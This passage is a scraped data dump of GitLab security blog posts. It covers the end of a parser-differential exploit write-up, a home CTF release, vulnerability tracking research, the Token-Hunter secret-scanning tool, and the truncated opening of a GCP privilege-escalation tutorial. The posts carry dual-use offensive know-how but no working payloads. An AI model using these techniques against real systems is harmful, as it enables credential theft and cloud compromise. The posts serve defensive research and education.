Interpret as PUT and pick up file from disk\n```\n\nWe fixed this issue within `gitlab-workhorse` by [signing Requests which pass `gitlab-workhorse`](https://gitlab.com/gitlab-org/gitlab-workhorse/-/commit/3a34323b104be89e92db49828268f0bfd831e75a), the signature then is verified on [the `gitlab-rails` side](https://gitlab.com/gitlab-org/gitlab/-/commit/043c664908e474f34e62e88365be0fc945f1d0b3)\n\n## How parser differentials can introduce vulnerabilities\n\nLet's take a huge step back and see from an high-level perspective what just happened. We've had `gitlab-workhorse` and `gitlab-rails` both looking at a `POST` request. But `gitlab-rails` ultimately saw a `PUT` request due to the overridden HTTP method.\n\nWhat occurred here is a case of a **parser differential**, as `gitlab-workhorse` and `gitlab-rails` parsed the incoming HTTP request differently. The term parser differential originates from the [Language-theoretic Security approach](http://langsec.org). It denotes the fact that two (or more) different parsers \"understand\" the very same message in a different way. Or, as described in the [LangSec handout](http://langsec.org/bof-handout.pdf) as follows:\n\n> Different interpretation of messages or data streams by components breaks any assumptions that components adhere to a shared specification and so introduces inconsistent state and unanticipated computation.\n\nIndeed such issues and the consequential _unanticipated computation_ get more and more common when we look at modern web environments. The days of web applications being a stand-alone bunch of scripts invoked on a web server are long gone. The rise of microservices leads to complex environments and the very same message (or HTTP request) might be interpreted by several different services in several different ways. Just as shown in the above example this sometimes comes along with security implications.\n\nFrom the point of view of a pragmatic bug hunter, the idea of parser differentials is very interesting as those issue can yield unique security bugs. Consider, for instance, this [RCE in couchdb](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html). Also the [HTTP desync attack technique](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn), which has gotten a lot attention in the bug bounty community, is a matter of parser differentials.\n\nFor the developer perspective we need to be aware of other components and their parsing behavior in order to avoid security issues which arise from interpreting the same message differently.\n\nCover Photo by [Marta Branco](https://www.pexels.com/@martabranco?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/closeup-photo-of-black-and-blue-keyboard-1194713/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n",[678,9],{"slug":803,"featured":6,"template":683},"how-to-exploit-parser-differentials","content:en-us:blog:how-to-exploit-parser-differentials.yml","How To Exploit Parser Differentials","en-us/blog/how-to-exploit-parser-differentials.yml","en-us/blog/how-to-exploit-parser-differentials",{"_path":809,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":810,"content":816,"config":821,"_id":823,"_type":14,"title":824,"_source":16,"_file":825,"_stem":826,"_extension":19},"/en-us/blog/how-to-play-gitlab-ctf-at-home",{"title":811,"description":812,"ogTitle":811,"ogDescription":812,"noIndex":6,"ogImage":813,"ogUrl":814,"ogSiteName":670,"ogType":671,"canonicalUrls":814,"schema":815},"How to play GitLab's Capture the Flag at home","Our AppSec team built and ran a CTF, and now it's available for you to play at home.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681485/Blog/Hero%20Images/gitlab_ctf.png","https://about.gitlab.com/blog/how-to-play-gitlab-ctf-at-home","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to play GitLab's Capture the Flag at home\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2020-08-12\",\n      }",{"title":811,"description":812,"authors":817,"heroImage":813,"date":818,"body":819,"category":678,"tags":820},[698],"2020-08-12","\n\nThe GitLab Application Security team created a [Capture the Flag (CTF)](https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security) contest for GitLab team members in mid-March to provide a fun, hands-on AppSec experience for those who were interested in a little friendly competition.\n\nWe've reworked this contest a bit so now you can solve the challenges at home!\nAnd, even better, because we created this CTF with all of our GitLab team members in mind, there's a wide variety of beginner-friendly challenges, most of which are related to web security.\n\n## Run it at home\nAll you need to run this at home is [Docker](https://docs.docker.com/get-docker/) and [Docker Compose](https://docs.docker.com/compose/install/). The [CTF-at-home repository](https://gitlab.com/gitlab-com/gl-security/ctf-at-home) is where we're releasing the challenges within a `docker-compose` file. Be sure to have a look at the [README](https://gitlab.com/gitlab-com/gl-security/ctf-at-home/-/blob/master/README.md) for set-up instructions.\n\nRunning the challenges should be as simple as:\n\n```\ngit clone https://gitlab.com/gitlab-com/gl-security/ctf-at-home.git\ncd ctf-at-home\ndocker-compose up\n```\n\nAnd then, visit `http://capture.local.thetanuki.io` to get to the landing page. Fingers crossed🤞, it worked on my machine 😉.\n\n## Try your hand at solving some challenges, then tell us about it\n\nTo keep it beginner friendly, the run-at-home CTF also includes spoilers and solutions for all challenges. If you have trouble running the CTF feel free to [create an issue here](https://gitlab.com/gitlab-com/gl-security/ctf-at-home/-/issues/new).\n\nIf you run the CTF at home and solve some challenges, we're happy to hear your feedback, or even see some write-ups. Feel free to share your experience in the comments below or tweet [@gitlab](https://twitter.com/gitlab).\n\n## Our results 🥁\n\nWe initially planned this CTF contest for [GitLab Contribute](/events/gitlab-contribute/), our company-wide get together, which was to be held in Prague at end of March. While COVID-19 made the physical get-together impossible, this CTF was perfect for running worldwide online and across GitLab teams. We ran the challenges from March 16 to March 27, 2020 and had a total of 50 GitLab team members participate in CTF.\n\n### Team member testimonials\n\nFrom a CTF coordinator perspective, running the contest was a great experience. Thankfully, the players were having a good time as well and we received lots of positive feedback, including:\n\n> It was great to collaborate with folks from all different functional groups at GitLab and all around the world. We learned a lot from each other and everyone was able to contribute!\n\n-- [@stkerr](/company/team/#stkerr)\n\n> The perfect mixture of challenges, ranging from very awesome and interesting, to very awesome and challenging. 😆\n\n-- [@cat](/company/team/#cat)\n\n### Hall of Fame\n\nMeet our top twenty players\n\n1. [@cat](/company/team/#cat)\n2. [@ayufan](/company/team/#ayufan)\n3. [@engwan](/company/team/#engwan)\n4. [@vitallium](/company/team/#vitallium)\n5. [@stkerr](/company/team/#stkerr)\n6. [@T4cC0re](/company/team/#T4cC0re)\n7. [@xanf](/company/team/#xanf)\n8. [@ahmadsherif](/company/team/#ahmadsherif)\n9. [@mbobin](/company/team/#mbobin)\n10. [@jrreid](/company/team/#jrreid)\n11. [@djadmin](/company/team/#djadmin)\n12. [@vij](/company/team/#vij)\n13. [@robotmay](/company/team/#robotmay_gitlab)\n14. [@kgoossens](/company/team/#kgoossens)\n15. [@simon_mansfield](/company/team/#simon_mansfield)\n16. [@alan](/company/team/#alan)\n17. [@SteveTerhar](/company/team/#SteveTerhar)\n18. [@rchan-gitlab](/company/team/#rchan-gitlab)\n19. [@razer6](/company/team/#razer6)\n20. [@floudet](/company/team/#floudet)\n\n__Special shout-outs to [@cat](/company/team/#cat) and [@ayufan](/company/team/#ayufan) who both solved ALL the challenges in less than three days.__\n\nBecause building the challenges and playing the CTF were such a positive experience for all involved, we wanted to make those CTF challenges public. We're hoping to have another CTF in the future, but in the meantime, let us know what you think of this one via comment below or [@gitlab](https://twitter.com/gitlab) on Twitter.\n\nHappy hacking!\n",[678,9,783],{"slug":822,"featured":6,"template":683},"how-to-play-gitlab-ctf-at-home","content:en-us:blog:how-to-play-gitlab-ctf-at-home.yml","How To Play Gitlab Ctf At Home","en-us/blog/how-to-play-gitlab-ctf-at-home.yml","en-us/blog/how-to-play-gitlab-ctf-at-home",{"_path":828,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":829,"content":835,"config":842,"_id":844,"_type":14,"title":845,"_source":16,"_file":846,"_stem":847,"_extension":19},"/en-us/blog/introducing-gitlab-advanced-vulnerability-tracking",{"title":830,"description":831,"ogTitle":830,"ogDescription":831,"noIndex":6,"ogImage":832,"ogUrl":833,"ogSiteName":670,"ogType":671,"canonicalUrls":833,"schema":834},"Introducing GitLab Advanced Vulnerability Tracking","Learn how this security feature improves the efficiency of vulnerability management by reducing futile auditing time (includes data from a new study).","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664844/Blog/Hero%20Images/AdobeStock_941867776.jpg","https://about.gitlab.com/blog/introducing-gitlab-advanced-vulnerability-tracking","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing GitLab Advanced Vulnerability Tracking\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julian Thome\"}],\n        \"datePublished\": \"2025-01-21\",\n      }",{"title":830,"description":831,"authors":836,"heroImage":832,"date":838,"body":839,"category":678,"tags":840},[837],"Julian Thome","2025-01-21","DevSecOps streamlines software development by allowing teams to ship features quickly and providing short feedback cycles for customers. These short feedback cycles can be used to monitor the impact of a feature from the time it is shipped and to inform developers and product managers about the success or failure of a given deployment.\n\nGitLab, as an agnostic DevSecOps platform, can act as an integration point for different [CI/CD](https://about.gitlab.com/topics/ci-cd/) tools that often contribute to user-facing functionality. For example, the [vulnerability report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/), which displays all detected vulnerabilities, is visible as a single functionality, but the data in the report may come from a number of different tools in various pipelines.\n\nIn a heterogeneous Static Application Security Testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) setup we find two potential sources of vulnerability deduplication:\n1. Code volatility refers to the reintroduction of vulnerabilities in a constantly changing code base.\n2. Double reporting refers to duplication introduced by multiple tools that are reporting the same vulnerability. \n\nGitLab addresses these two sources of duplication by means of the [Advanced Vulnerability Tracking](https://docs.gitlab.com/ee/user/application_security/sast/#advanced-vulnerability-tracking) feature, which identifies and deduplicates vulnerabilities in a constantly changing code base.\n\n[Advanced Vulnerability Tracking](https://docs.gitlab.com/ee/user/application_security/sast/#advanced-vulnerability-tracking) leverages contextual information provided by generated syntax-trees to scope vulnerabilities and generates location fingerprints for vulnerabilities that are less fragile across code changes in comparison to other tracking methods.\n\nIn a recent study, we demonstrated that our vulnerability tracking approach was 30% more effective than traditional, line-based vulnerability tracking where `\u003Cfile, line number>` are used to fingerprint vulnerabilities. This means that advanced vulnerability tracking reduces the manual effort of auditing vulnerabilities by 30%. In addition, our study suggested that the positive effect of our vulnerability tracking method increases over time.\n\nThe preprint of our study \"[A scalable, effective and simple Vulnerability Tracking approach for heterogeneous SAST setups based on Scope+Offset](https://about.gitlab.com/resources/downloads/icse25-preprint.pdf)\" will be presented at the [47th International Conference on Software Engineering (Software Engineering in Practice Track) 2025](https://conf.researchr.org/home/icse-2025).\n\n*[Lucas Charles](https://gitlab.com/theoretick), [Jason Leasure](https://gitlab.com/jleasure), and [Hua Yan](https://gitlab.com/hyan3) contributed to this article and study.*",[678,9,841,479],"features",{"slug":843,"featured":6,"template":683},"introducing-gitlab-advanced-vulnerability-tracking","content:en-us:blog:introducing-gitlab-advanced-vulnerability-tracking.yml","Introducing Gitlab Advanced Vulnerability Tracking","en-us/blog/introducing-gitlab-advanced-vulnerability-tracking.yml","en-us/blog/introducing-gitlab-advanced-vulnerability-tracking",{"_path":849,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":850,"content":856,"config":862,"_id":864,"_type":14,"title":865,"_source":16,"_file":866,"_stem":867,"_extension":19},"/en-us/blog/introducing-token-hunter",{"title":851,"description":852,"ogTitle":851,"ogDescription":852,"noIndex":6,"ogImage":853,"ogUrl":854,"ogSiteName":670,"ogType":671,"canonicalUrls":854,"schema":855},"Introducing Token-Hunter","Our red team has created a new tool to find sensitive data in the vast, wide-open.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679669/Blog/Hero%20Images/lightscape-Bsw6l6e01Rw-unsplash.jpg","https://about.gitlab.com/blog/introducing-token-hunter","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing Token-Hunter\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Johnson\"}],\n        \"datePublished\": \"2019-12-20\",\n      }",{"title":851,"description":852,"authors":857,"heroImage":853,"date":859,"body":860,"category":678,"tags":861},[858],"Greg Johnson","2019-12-20","\n\nWe operate business at GitLab in a [“public by default”](https://handbook.gitlab.com/handbook/values/#public-by-default) mindset so other people can benefit from our transparent business practices. Defaulting to public sharing also means we store massive amounts of data in a public format by design. Much of what we do as a company takes the form of a GitLab issue and is open for the world to see, including those individuals with nefarious goals. Naturally, for a [Red Team](/handbook/security/threat-management/red-team/), we’re curious about what all of this public information could do to aid someone intent on attacking GitLab. We started our investigation by identifying those secrets that are unintentionally shared across the assets we make public like issues, issue discussions, merge requests, merge request discussions, and snippets. There was no tooling available that accomplished what we set out to do, so we developed it ourselves and just released it: [Token-Hunter](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter).\n\n### Background\n\nAPI tokens are a keystone in the development world. They facilitate important functionality not only in the software developers build, but also in the deployment, maintenance, integration, and security of both closed and open source projects. Many companies providing services on the internet offer API tokens in multiple flavors that allow interaction with their systems, as does GitLab. Ideally, these tokens offer configurable access control to otherwise closed systems allowing you to impersonate a user’s session and access raw data. Developers, DevOps professionals, infrastructure professionals and the like often depend on API tokens to do their job successfully.\n\nIt’s a common and understandable mistake to make a commit to a Git repository containing one of these tokens when building software in a shared environment. Moving quickly, trying to support your fellow developer, and generally working quickly to get things done efficiently can lead to mistakes made under pressure, which can happen to us all. Popular tools that search for these commits like [gitrob](https://github.com/michenriksen/gitrob), [TruffleHog](https://github.com/dxa4481/truffleHog), [gitleaks](https://github.com/zricethezav/gitleaks), and even GitLab’s own [SAST project](https://docs.gitlab.com/ee/user/application_security/sast/) can find leaked tokens given proper configuration. Our Red Team had early success leveraging these known techniques, tactics, and procedures (TTPs).\n\nThe tools referenced above are fantastic at finding secrets unintentionally left in source code. However, it's also a common mistake to submit sensitive data like API tokens, usernames, and passwords to public locales like [GitLab snippets](https://docs.gitlab.com/ee/user/snippets.html), [issues](https://docs.gitlab.com/ee/user/project/issues/), [issue discussions](https://docs.gitlab.com/ee/api/discussions.html), [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/), and [merge request discussions](https://docs.gitlab.com/ee/api/discussions.html). Sharing this type of information by accident can happen easily when attempting to share relevant information to facilitate a public support request as we often do at GitLab for many different products. Though most people know not to post sensitive information in a public place directly, mistakes do happen, sometimes shortcuts are taken, logs get shared, configuration files get dropped, and information inadvertently gets leaked and leveraged.  More often than not these areas of exposure are often forgotten, but not by attackers.\n\n### Exploring the wide-open\n\nToken-Hunter is intended to complement tools like gitrob, gitleaks, TruffleHog, and others. It can be used if you’re hosting your groups and projects on GitLab.com, or on a self-managed GitLab instance of your own. We created Token-Hunter to support the following features:\n\n- **Search GitLab issues and the related discussions for sensitive data.** GitLab issues and comments are a primary method of sharing information and resolving support issues. They typically contain shared log data, configuration files, copy/pasted [source code](/solutions/source-code-management/) examples, and discussions by both GitLab employees and customers, and are therefore likely to contain sensitive data.\n- **Search GitLab snippets for sensitive data.** These are small, URL-addressable chunks of code or text intended to be shared between GitLab users or served directly in source code. They are most often used to share small bits of configuration data, JavaScript source code, example code in any language, or log data. Therefore, they can likely contain sensitive information like usernames and passwords, API tokens, etc.\n- **Search GitLab merge requests and discussions for sensitive data.** Merge requests and comments are, more often than not, how public open source projects recieve changes from the community.  At GitLab, merge requests facilitate everything from [handbook updates](https://about.gitlab.com/company/culture/all-remote/handbook-first-documentation/) to [GitLab runner](https://gitlab.com/gitlab-org/gitlab-runner) code changes for both internal employees and external contributors.  Descriptions and discussions on these assets can include log data, system access instructions, and the like.\n- **List all of the projects associated with a group.** This is helpful to quantify the problem and understand where the search will start. Optionally, you can include members’ projects in the search to expand the organizational scope similar to gitrob. Starting at different points in the project after you understand your target more completely can yield very different results.\n- **Proxy all traffic from the tool.** Token-Hunter accepts arguments for an HTTP proxy server and self-signed certificate to decrypt TLS traffic. GitLab’s Red Team used this feature to record traffic pattern examples to the Security Operations team in support of defensive strategy development. This feature is also handy for debugging by examining the traffic the tool generates. [Burp Suite](https://portswigger.net/burp/communitydownload) and [OWASP Zap](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) are two popular tool choices for proxying traffic locally and can be configured with a self-signed certificate to decrypt TLS traffic.\n\nFor full details on using the tool and the functionality of each of its available arguments, visit [the Token-Hunter project page](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter/tree/master) on GitLab.\n\n### Taming the wild... mostly\n\nHitting an API to gather large amounts of raw data is daunting. Internet connections flake out, servers need maintenance, rate limits get hit, WiFi drops, performance degrades, timeouts happen, and you end up with a headache attempting to simply get the data you’d like to analyze. To counter some of these issues as pragmatically as possible, two simple algorithms were applied: request retries and dynamic page-size reduction. Request retries simply retries a failed request after a few seconds. The tool will retry a failed request twice, each after a four-second delay with a four-second backoff. In other words, the first retry will occur four seconds after the initial failed request. The second retry will occur eight seconds after the first failed retry attempt. If each of these retry attempts fails, the tool then attempts to reduce the paging size in order to complete the request. Reducing the page size reduces the number of records the request needs to return lessening the likelihood of a timeout. *Though simple, these two algorithms allowed the tool to reliably pull data for nearly 1.3 million individual GitLab assets with only three recorded request errors resulting in over 1600 pattern matches.*\n\n### More to explore\n\nThe ability to search discussions and other popular channels where sensitive data is likely to be shared is the key benefit of the Token-Hunter tool over other related tooling. The Red Team plans to continue iterating to support our operations, including adding support for more assets such as [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/), commit discussions, and [epics](https://docs.gitlab.com/ee/user/group/epics/). We learned during our operation that the specifics of the regular expressions we used in relation to the context in which we were searching (posted log data format, configuration file format, code structure, etc.) largely determined our level of success. It can be necessary to tune these expressions depending on your environment and context. To start, we made a few adjustments to [TruffleHog’s regular expressions](https://github.com/dxa4481/truffleHogRegexes) to add coverage for GitLab-specific token formats. However, there’s still much room for improvement depending on your environment and objective.\n\nLooking for a specific password for a user name? Trying to find all mentions of a specific server DNS name or IP? Expecting a specific log format that has the potential to contain an API token? Tune [the regular expressions](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter/blob/master/regexes.json), and you just may find what you’re looking for.\n\n### We want your ideas and contributions\n\nThere is still plenty to be done and we welcome community contributions and ideas. If the tool is helpful to you in defense of your infrastructure and you’d like to contribute, [there are instructions in the README.md](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter#contributing) on how to get started. If you’re not sure what to do, pick an issue out of [our issue list](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter/issues) or add to the existing discussions.  I'd like to extend a special thank you to GitLab user [Ohad Dahan](https://gitlab.com/ohaddahan) for his many contributions to this and other GitLab projects.  These types of contributions are paramount to the continued success of open source projects.\n\nSome of the ideas we’re currently pursuing are:\n\n- **Better output formatting:** We’d like to standardize output to an industry accepted, standard format that allows support for findings verification. A simple CSV file might be the first step.\n- **Real-time reporting of findings:** Currently, the tool gathers data first, then reports on the findings, leaving you in way too much suspense for way too long. Reporting findings as they are found allows verification to begin earlier during a long-running execution.\n- **Data persistence:** Querying the API is the costliest part of inspecting GitLab assets for sensitive data. Persisting that data from an execution would:\n  - Reduce the need to query the API again after tuning your regular expressions. During our operation, we often needed to make changes to the regular expressions based on what we were seeing in the matches. This was virtually impossible given the amount of data necessary to pull.\n  - Allow for long-running executions to be paused and resumed. Executions against larger groups can take several hours and would sometimes require a restart during our operation.\n  - Maintain a permanent record of findings should they be edited following a found match. During our exercise, there were a few occasions where matches were found that looked to be legitimate, but could not be verified as the asset was modified post-discovery.\n\nWe have learned a lot from this initial attempt at gathering OSINT from rather unique and unorthodox locations, but this exercise was just a start. We hope you find the tooling useful and if you have questions or ideas to share please reach out through [email](mailto:redteam@gitlab.com), through our [issue board](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter/-/boards), or [on Twitter](https://twitter.com/code_emitter). Happy hacking!\n\nPhoto by [Lightscape](https://unsplash.com/@lightscape?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/Bsw6l6e01Rw).\n{: .note}\n",[678,9,783],{"slug":863,"featured":6,"template":683},"introducing-token-hunter","content:en-us:blog:introducing-token-hunter.yml","Introducing Token Hunter","en-us/blog/introducing-token-hunter.yml","en-us/blog/introducing-token-hunter",{"_path":869,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":870,"content":876,"config":881,"_id":883,"_type":14,"title":884,"_source":16,"_file":885,"_stem":886,"_extension":19},"/en-us/blog/open-source-security",{"title":871,"description":872,"ogTitle":871,"ogDescription":872,"noIndex":6,"ogImage":873,"ogUrl":874,"ogSiteName":670,"ogType":671,"canonicalUrls":874,"schema":875},"How we manage open source security software","Open source software presents unique security challenges. Here’s what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681227/Blog/Hero%20Images/opensourcesecurity.jpg","https://about.gitlab.com/blog/open-source-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we manage open source security software\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2020-04-10\",\n      }",{"title":871,"description":872,"authors":877,"heroImage":873,"date":878,"body":879,"category":678,"tags":880},[675],"2020-04-10","\n\n_In February 2020, Harvard University and the Linux Foundation’s Core Infrastructure Initiative released a joint report, [Vulnerabilities in the Core](https://www.hbs.edu/news/releases/Pages/census-open-source-software-security.aspx), looking at security challenges in the open source software world. Open source software has [taken over the world](https://techcrunch.com/2019/01/12/how-open-source-software-took-over-the-world/), but with its astronomical popularity comes the potential for huge risk. We thought this was an excellent opportunity to ask senior security engineer [Mark Loveless](/company/team/#mloveless) for his thoughts on open source security, how GitLab approaches it, and some ways you can move the bar forward in your company._\n\nI was quite pleased that an institution like Harvard would be taking a hard look at open source software. Security is often difficult for people to understand how much it impacts real lives. Nerd types (the InfoSec community) try to communicate to the \"normals\" to explain to them why they need to care about security. Granted, this barely tracks on the radar of many people in our own field, as some of the Infosec community think they already know it.\n\n## Inside our security plan\n\nWe have dedicated people at GitLab looking at our own code, trying to find security flaws. We have a group that deals with bug submissions coming in from Hacker One. But we also have people at GitLab looking for security flaws in various open source packages that are a part of the \"supply chain\". These outside packages may be used in the GitLab product. When one of these packages has a flaw in it, there can be impact to both open source projects like ours, as well as closed source projects. It may be surprising to learn that a lot of closed source projects use open source libraries.\n\nUsing an open source library to complete a coding project is not uncommon and in fact highly encouraged. For example, reading through the Internet standards for protocol implementation of HTTPS could not only be daunting, but coding it without the experience of writing security-related code is ill-advised unless you are an expert in the field. Including a security-related open source library in your project can solve that issue. But speaking of something as complex as HTTPS, for example, brings up another problem - implementation.\n\n## The implementation issue\n\nA flaw is found in an open source package. Hundreds of applications are using the open source package with the vulnerability, yet only half of these applications are exploitable via the flaw. Why? A lot of times it comes down to implementation.\n\nWhen given a choice between one setting versus another, there are ramifications to consider when deciding which might make the most secure implementation. These choices have consequences. One choice could impact performance - especially at scale. Another choice could leave things more vulnerable. There are compliance issues to consider. All of these items need to be weighed carefully.\n\nIt’s a core thing at GitLab to be sure that we implement things in ways that are more secure. I’ve worked at numerous software vendors over the years and GitLab is one of the largest. Most organizations of this size do not release code nearly as often as we do, and most do not take security as seriously. When I started working here, I was pleasantly surprised at how much security was part of the process.\n\n## Trust the transparency\n\nWe’re not only a [transparent company](https://handbook.gitlab.com/handbook/values/#transparency), we’re an open core company. This means that the core part of our product is open source and free to download and use, while we have a number of paid options for increased features and services. This applies to everything in our company and is an added benefit when it comes to security. We’re very open about disclosing security problems. For example, when a bug affects our open source code any future code commit to fixing the problem also shows the vulnerability. At some of my other employers there were often discussions about the \"exposure\" of the company when revealing a vulnerability, and a pull between departments about how much to disclose. Sometimes those disclosure discussions turned political. At GitLab that problem is eliminated as we’ve made the commitment to completely disclose the issue. We’ve even extended this to the parts of our offerings that are not a part of that core product. It is in the best interest of our users to have complete information about the security of GitLab.\n\n## The role DevSecOps plays\n\nWhen it comes to writing code, bugs - security-related or not - are the nature of the beast. The trick is to expect it and plan for it. Here at GitLab we’re doing the DevSecOps thing: extraordinarily rapid development while retaining a [focus on security](/solutions/security-compliance/). There is a tendency here for our engineers to take the time and do things right. Bugs can impact performance and availability and security bugs are no different. This is why GitLab works so hard on delivering code that is as clean and secure as possible. When we manage to do that it’s a win/win. When bugs do occur, we have developed processes to deal with them which includes updates to our development processes if necessary to help improve the entire process.\n\n## Game on\n\nIf you’re trying to up your open source security game you already know it’s a constant work in progress. We encourage open source as much as possible! Open source or not, here are a few things that we’ve done at GitLab that apply to security:\n\n- You have to have security people involved in the company. Any security team needs to have people who have the capacity to analyze and handle flaws in code, whether the code is internal or external.\n- The security people need to be on staff. They need to have the freedom to do their jobs.\n- Upper management has to buy into security. If security is top of mind for upper management it will be easier to get things done at the department level.\n- **Lose the culture of shame and punishment for security problems.** It exists in lots of places and it’s why people start trying to hide bugs. There should not be a carrot and a stick involved in security.\n- Make security something that’s muscle memory and you’ll be golden.\n\n\nCover image by [Wolfgang Hasselmann](https://unsplash.com/@wolfgang_hasselmann) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[783,678,9],{"slug":882,"featured":6,"template":683},"open-source-security","content:en-us:blog:open-source-security.yml","Open Source Security","en-us/blog/open-source-security.yml","en-us/blog/open-source-security",{"_path":888,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":889,"content":895,"config":902,"_id":904,"_type":14,"title":905,"_source":16,"_file":906,"_stem":907,"_extension":19},"/en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform",{"title":890,"description":891,"ogTitle":890,"ogDescription":891,"noIndex":6,"ogImage":892,"ogUrl":893,"ogSiteName":670,"ogType":671,"canonicalUrls":893,"schema":894},"Google Cloud privilege escalation & post-exploitation tactics","A Red Team exercise on exploiting design decisions on GCP.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672755/Blog/Hero%20Images/white-lightning-heating-mountain.jpg","https://about.gitlab.com/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2020-02-12\",\n      }",{"title":896,"description":891,"authors":897,"heroImage":892,"date":899,"body":900,"category":678,"tags":901},"Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments",[898],"Chris Moberly","2020-02-12","\n## Update\n\n_At GitLab we have an internal [Red Team](/handbook/security/threat-management/red-team/) that dedicates time looking at the services and business partners we use to deliver GitLab products and services. As a [Google Cloud customer,](/blog/moving-to-gcp/) we have an obvious interest in all the different ways that administrators can make devastating security related mistakes when configuring their environment. We also have a team goal of sharing our research and tooling when possible with the community. This blog post and our previous post, [Introducing Token Hunter, an open source tool for finding sensitive data in the vast, wide-open,](/blog/introducing-token-hunter/) are our attempts to share our knowledge with the broader security community - for our mutual benefit._\n\n_This post does not outline any new vulnerabilities in Google Cloud Platform but outlines ways that an attacker who has already gained an unprivileged foothold on a cloud instance may perform reconnaissance, privilege escalation and eventually complete compromise of an environment._\n\n## Introduction\n\nWe recently embarked on a journey to simulate malicious activity in Google Cloud Platform (GCP). The idea was to begin with the low-privilege compromise of a Linux virtual machine, and then attempt to escalate privileges and access sensitive data throughout the environment.\n\nThe problem? There just isn't a lot of information available about GCP written from an attacker's perspective. We set out to learn as much as we could about Google Cloud and how an attacker might work to abuse common design decisions. Now, we are sharing that information with you! I'll also be presenting this talk, [Plundering GCP – escalating privileges, moving laterally and stealing secrets in Google Cloud](https://www.bsidesmelbourne.com/2020-plundering-gcp.html), in March 2020 at BSides Melbourne.\n\nIn this tutorial, we will do a very deep-dive into manual post-exploitation tactics and techniques for GCP. The specific scenario we are addressing here is the compromise of a single Linux-based virtual machine running within the Compute Engine offering. The goal is to elevate local privileges to a root account, compromise other systems within the same Google Cloud [Project](https://cloud.google.com/storage/docs/projects), break out of that project into others, and even hop the fence over to G Suite if possible.\n\nWe'll also go into specific detail on how to interact with a slew of Google's cloud services to hunt for secrets and exfiltrate sensitive data.\n\nIf you're tasked with defending infrastructure in Google Cloud, this tutorial should give you a good idea of what an attacker may get up to and the types of activities you should be looking out for.\n\nThis blog also introduces several utilities targeting GCP environments:\n\n- [gcp_firewall_enum](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum): Generate targeted port scans for Compute Instances exposed to the internet.\n- [gcp_enum](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_enum): Most of the enumeration commands in this blog, consolidated to a single script.\n- [gcp_misc](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc): Various tools for attacking GCP environments.\n\n*No shell? No problem! Most of these techniques can used with SSRF as well. Check out the [Leveraging SSRF](#leveraging-ssrf) appendix for more info.*\n\n## Basic background info\n\nGCP is a big beast with a ton of moving parts. Here is a bit of background on items that are most relevant to the breach of a Compute Instance.\n\n### Tools\n\n#### gcloud\n\nIt is likely that the box you land on will have the [GCP SDK tools](https://cloud.google.com/sdk/docs/) installed and configured. A quick way to verify that things are set up is to run the following command:\n\n```\n$ gcloud config list\n```\n\nIf properly configured, you should get some output detailing the current service account and project in use.\n\nThe [gcloud command set](https://cloud.google.com/sdk/gcloud/reference/) is pretty extensive, supports tab completion, and has excellent online and built-in documentation. You can also install it locally on your own machine and use it with credential data that you obtain.\n\n#### Cloud APIs\n\nThe `gcloud` command is really just a way of automating [Google Cloud API](https://cloud.google.com/apis/docs/overview) calls. However, you can also perform them manually. Understanding the API endpoints and functionality can be very helpful when you're operating with a very specific set of permissions, and trying to work out exactly what you can do.\n\nYou can see what the raw HTTP API call for any individual `gcloud` command is simply by appending `--log-http` to the command.\n\n#### Metadata endpoint\n\nEvery Compute Instance has access to a dedicated [metadata server](https://cloud.google.com/compute/docs/storing-retrieving-metadata) via the IP address 169.254.169.254. You can identify it as a host file entry like the one below:\n\n```\n$ cat /etc/hosts\n[...]\n169.254.169.254 metadata.google.internal  # Added by 